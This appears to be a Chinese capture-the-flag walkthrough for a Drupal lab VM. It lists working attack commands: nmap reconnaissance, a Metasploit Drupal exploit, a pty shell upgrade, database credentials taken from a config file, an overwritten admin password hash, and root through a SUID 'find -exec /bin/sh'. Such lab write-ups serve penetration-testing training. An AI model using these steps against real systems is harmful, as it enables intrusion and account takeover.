通关攻略—注重思路的理解,不要死记命令(均在kali虚拟机演示)
通关秘籍:
nmap -sP 192.168.177.0/24 在此网段里查看存活的ip
nmap -A 192.168.177.129 扫描端口,-A扫描的不是全部端口 全部端口后加-p-
msfconsole 工具msf
search drupal 查找后加框架
use 1
set RHOSTS 192.168.177.129 设置payload参数
run 运行
shell 拿web shell
python -c 'import pty;pty.spawn("/bin/bash")' 没有通道,调用模块pty终端的模块,pty.spawn的属性
find / -perm -4000 2>/dev/null
find搜索,/根下 -perm 查权限 4000代表root权限,使用此条命令可以看到以下命令临时具有管理员权限
cd /tmp 进入临时文件夹
mkdir 123 创建目录
find 123 -exec '/bin/sh' \; 查找目录的同时运行cmd exec 命令执行
cd /var/www
ls
cat flag1.txt 找到flag1
cd /var/www/sites/default
cat settings.php 找到flag2
mysql -udbuser -pR0ck3t
show databases
use drupaldb
select * from users\G \G以格式化的形式输出
cd /var/www
php scripts/password-hash.sh 123
复制生成的密钥$S$D6zpvdA6iMFhDzvqlSytaT1MI2oHzUlWM/nC6pKlWXfXg7SiUBkI
mysql -udbuser -pR0ck3t
show databases
use drupaldb
update users set pass="$S$D6zpvdA6iMFhDzvqlSytaT1MI2oHzUlWM/nC6pKlWXfXg7SiUBkI" where name="admin";
浏览器页面中使用admin进入后台,在content选项卡中找到flag3
cd /home/flag4
cat flag4.txt 找到flag4
cd /root
ls
cat thefinalflag
一套带走!!!
1、首先使用nmap扫描存活主机的ip
nmap -sP 192.168.153.0/24 (-sP 快速扫描ip)
nmap -A 192.168.153.175 (-A 全端口扫描)
2、找到ip在浏览器进行查看,这块进行信息收集,在页面寻找可利用得点,可以看到在页面的底部有看到所使用的框架
3、紧接着使用工具msfconsole(神器)
4、工具启动完之后,在此工具下查找drupal框架相关漏洞
search drupal
5、查找到框架模板,进行一一尝试,发现模板1可以利用,主要查看以下3个参数
use 1
show options
RHOST 是设置被攻击者ip
LHOST 是设置攻击者ip
LPORT 自行设置端口
6、查看到RHOST并没有值,所以设置RHOST参数,使用show options查看设置完的结果
set RHOSTS 192.168.177.129 设置payload参数
7、当攻击载荷设置完成之后,使用run运行攻击模块
8、使用shell进行交互,输入python语句进入用户
shell 拿web shell
python -c 'import pty;pty.spawn("/bin/bash")' 没有通道,调用模块pty终端的模块,pty.spawn的属性
利用Python命令创建具有交互性质的shell
9、发现进行用户模式,使用ls进行查看目录与文件,发现了flag1.txt
10、此处直接提权,发现成功root,但为了找齐flag,只能继续进行信息收集,各种目录文件查看相关可能有的线索
11、在网站的配置文件中找到flag2并且发现数据库账密,思路,直接拖库,构造可登录账密
12、登录数据库,查看数据库
mysql -udbuser -p R0ck3t
13、在数据库查找有用信息,在数据库中发现了用户名与加密的密码
select * from users \G \G 以格式化的形式输出
14、退出数据库,查找是否还有信息可利用,一顿找,在家目录发现了flag4
15、在flag4中也没有看到有用信息,所以还得查找哈哈,终于在scripts目录中找到了有用信息,加密脚本
16、利用网站自带加密脚本,加密我们的明文密码123,将加密后的密文插入数据库并覆盖原有账户密码
17、使用以下命令更新数据库密码,成功更新之后退出数据库
update users set pass="$S$D6zpvdA6iMFhDzvqlSytaT1MI2oHzUlWM/nC6pKlWXfXg7SiUBkI" where name="admin"
18、使用以下命令查找具有root用户的系统命令,发现/usr/bin/find可以利用,首先进入临时文件夹tmp(这里一定注意),在此文件下创建新的文件夹123,紧接着执行命令在查找123文件夹的同时执行Linux中的cmd
find / -perm -4000 2>/dev/null find搜索,/根下 -perm 查权限 4000代表root权限,使用此条命令可以看到以下命令临时具有管理员权限
19、到这里一套带走,拿到root权限与最终flag
注意:命令提示符正在上传…重新上传取消为普通用户权限,为root权限,
本关提权使用 find / -perm -4000 2>/dev/null来查看当前有哪些命令在使用的过程中具有root权限,本关发现了find命令
find 123 -exec '/bin/sh' \; 使用find命令并执行/bin/sh调用命令解释器,同理,解释器的权限也是root,提权成功
# 谢谢大家,有用麻烦点赞关注下哦